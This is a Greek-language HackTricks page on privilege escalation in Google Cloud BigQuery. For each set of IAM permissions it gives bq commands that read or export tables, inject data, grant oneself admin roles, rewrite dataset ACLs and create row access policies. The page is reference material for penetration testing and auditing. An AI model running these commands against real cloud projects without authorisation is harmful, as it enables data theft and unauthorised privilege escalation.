GCP - BigQuery Privesc

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

BigQuery

Για περισσότερες πληροφορίες σχετικά με το BigQuery, ελέγξτε:

GCP - Bigquery Enum

Ανάγνωση Πίνακα

Διαβάζοντας τις πληροφορίες που αποθηκεύονται μέσα σε έναν πίνακα BigQuery, είναι πιθανό να βρεθούν ευαίσθητες πληροφορίες. Για να έχετε πρόσβαση στις πληροφορίες, απαιτούνται οι άδειες bigquery.tables.get, bigquery.jobs.create και bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Εξαγωγή δεδομένων

Αυτός είναι ένας άλλος τρόπος για να έχετε πρόσβαση στα δεδομένα. Εξαγάγετε τα σε έναν κάδο αποθήκευσης στο cloud και στη συνέχεια κατεβάστε τα αρχεία με τις πληροφορίες. Για να εκτελέσετε αυτήν την ενέργεια απαιτούνται οι εξής άδειες: bigquery.tables.export, bigquery.jobs.create και storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Εισαγωγή δεδομένων

Είναι πιθανό να εισαχθούν συγκεκριμένα αξιόπιστα δεδομένα σε έναν πίνακα Bigquery για να εκμεταλλευτείτε μια ευπάθεια σε κάποιο άλλο μέρος. Αυτό μπορεί να γίνει εύκολα με τις άδειες bigquery.tables.get, bigquery.tables.updateData και bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

bigquery.datasets.setIamPolicy

Ένας επιτιθέμενος μπορεί να καταχραστεί αυτό το προνόμιο για να δώσει στον εαυτό του περαιτέρω δικαιώματα σε ένα σύνολο δεδομένων του BigQuery:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Αυτή η άδεια επιτρέπει μόνο την ενημέρωση της πρόσβασής σας σε ένα σύνολο δεδομένων BigQuery με τροποποίηση των ACLs που υποδεικνύουν ποιος μπορεί να έχει πρόσβαση σε αυτό:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>

bigquery.tables.setIamPolicy

Ένας επιτιθέμενος μπορεί να καταχραστεί αυτό το προνόμιο για να δώσει στον εαυτό του περαιτέρω δικαιώματα σε έναν πίνακα BigQuery:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

bigquery.rowAccessPolicies.update, bigquery.rowAccessPolicies.setIamPolicy, bigquery.tables.getData, bigquery.jobs.create

Σύμφωνα με τα έγγραφα, με τις ανωτέρω άδειες είναι δυνατόν να ενημερωθεί μια πολιτική γραμμής. Ωστόσο, χρησιμοποιώντας το εργαλείο γραμμής εντολών bq χρειάζεστε κάτι παραπάνω: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("user:user@email.xyz") FILTER USING (term = "Cfba");' # A example filter was used

Είναι δυνατόν να βρεθεί το ID του φίλτρου στην έξοδο της απαρίθμησης των πολιτικών γραμμής. Παράδειγμα:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated